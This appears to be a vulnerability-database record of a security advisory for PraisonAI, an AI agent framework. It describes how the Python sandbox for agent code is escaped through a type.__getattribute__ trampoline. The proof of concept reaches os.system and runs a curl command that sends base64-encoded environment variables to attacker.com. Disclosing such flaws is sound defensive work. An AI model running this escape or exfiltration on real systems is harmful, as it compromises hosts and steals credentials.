{"id":"CVE-2026-40158","aliases":["GHSA-3c4r-6p77-xwr7","PYSEC-2026-2898"],"title":"PraisonAI Vulnerable to Code Injection and Protection Mechanism Failure","summary":"PraisonAI Vulnerable to Code Injection and Protection Mechanism Failure","severity":"high","cvss":8.6,"cvssVector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","vendor":"praisonai","product":"praisonai","ecosystem":"pip","affected":["praisonai < 4.5.128"],"patched":["praisonai 4.5.128"],"published":"2026-04-10","updated":"2026-07-13","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-3c4r-6p77-xwr7","references":[{"url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-3c4r-6p77-xwr7"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40158"},{"url":"https://github.com/MervinPraison/PraisonAI"},{"url":"https://github.com/MervinPraison/PraisonAI/releases/tag/v4.5.128"}],"tags":["osv","pip"],"epss":0.0024,"epssPercentile":0.15403,"ingestedAt":"2026-07-13T18:57:51.843Z","slug":"CVE-2026-40158","body":"## Overview\n\nPraisonAI's AST-based Python sandbox can be bypassed using `type.__getattribute__` trampoline, allowing arbitrary code execution when running untrusted agent code.\n\n## Description\n\nThe `_execute_code_direct` function in `praisonaiagents/tools/python_tools.py` uses AST filtering to block dangerous Python attributes like `__subclasses__`, `__globals__`, and `__bases__`. However, the filter only checks `ast.Attribute` nodes, allowing bypass via:\n\nThe sandbox relies on AST-based filtering of attribute access but fails to account for dynamic attribute resolution via built-in methods such as type.__getattribute__, resulting in incomplete enforcement of security restrictions.\n\n\n```python\ntype.__getattribute__(obj, '__subclasses__')  # Bypasses filter\n```\n\nThe string `'__subclasses__'` is an `ast.Constant`, not an `ast.Attribute`, so it is never checked against the blocked list.\n\n## Proof of Concept\n\n```python\n# This code bypasses the sandbox and achieves RCE\nt = type\nint_cls = t(1)\n\n# Bypass blocked __bases__ via type.__getattribute__\nbases = t.__getattribute__(int_cls, '__bases__')\nobj_cls = bases[0]\n\n# Bypass blocked __subclasses__\nsubclasses_fn = t.__getattribute__(obj_cls, '__subclasses__')\nall_subclasses = subclasses_fn()\n\n# Find _wrap_close class\nfor c in all_subclasses:\n    if t.__getattribute__(c, '__name__') == '_wrap_close':\n        # Get __init__.__globals__ via bypass\n        init = t.__getattribute__(c, '__init__')\n        glb = type(init).__getattribute__(init, '__globals__')\n        \n        # Get system function and execute\n        system = glb['system']\n        system('curl https://attacker.com/steal --data \"$(env | base64)\"')\n```\n\n---\n\n## Impact\n\nThis vulnerability allows attackers to escape the intended Python sandbox and execute arbitrary code with the privileges of the host process.\n\nAn attacker can:\n\n* Access sensitive data such as environment variables, API keys, and local files\n* Execute arbitrary system commands\n* Modify or delete files on the system\n\nIn environments that execute untrusted code (e.g., multi-tenant agent platforms, CI/CD pipelines, or shared systems), this can lead to full system compromise, data exfiltration, and potential lateral movement within the infrastructure.\n\n---\n\n## Affected Code\n\n```python\n# praisonaiagents/tools/python_tools.py (approximate)\ndef _execute_code_direct(code, ...):\n    tree = ast.parse(code)\n    \n    for node in ast.walk(tree):\n        # Only checks ast.Attribute nodes\n        if isinstance(node, ast.Attribute) and node.attr in blocked_attrs:\n            raise SecurityError(...)\n    \n    # Bypass: string arguments are not checked\n    exec(compiled, safe_globals)\n```\n\n\n**Reporter:** Lakshmikanthan K (letchupkt)\n\n## Affected packages\n\n- `praisonai < 4.5.128`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `praisonai 4.5.128`","depth":"twilight","depthScore":47,"depthScoreParts":{"impact":47.3,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}